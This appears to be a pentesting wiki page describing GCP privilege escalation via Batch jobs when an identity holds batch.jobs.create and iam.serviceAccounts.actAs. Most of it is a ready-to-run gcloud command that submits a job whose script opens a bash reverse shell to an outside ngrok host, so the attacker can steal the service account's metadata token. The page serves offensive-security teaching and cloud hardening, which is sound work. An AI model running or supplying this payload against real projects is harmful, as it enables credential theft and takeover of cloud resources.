# GCP - Batch Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Batch

Basic information:

{{#ref}}
../gcp-services/gcp-batch-enum.md
{{#endref}}

### `batch.jobs.create`, `iam.serviceAccounts.actAs`

It's possible to create a batch job, get a reverse shell and exfiltrate the metadata token of the SA (compute SA by default).

<details>
<summary>Create Batch job with reverse shell</summary>

```bash
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
{
  "name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
  "taskGroups": [
    {
      "taskCount": "1",
      "parallelism": "1",
      "taskSpec": {
        "computeResource": {
          "cpuMilli": "1000",
          "memoryMib": "512"
        },
        "runnables": [
          {
            "script": {
              "text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
            }
          }
        ],
        "volumes": []
      }
    }
  ],
  "allocationPolicy": {
    "instances": [
      {
        "policy": {
          "provisioningModel": "STANDARD",
          "machineType": "e2-micro"
        }
      }
    ]
  },
  "logsPolicy": {
    "destination": "CLOUD_LOGGING"
  }
}
EOD
```

</details>

{{#include ../../../banners/hacktricks-training.md}}



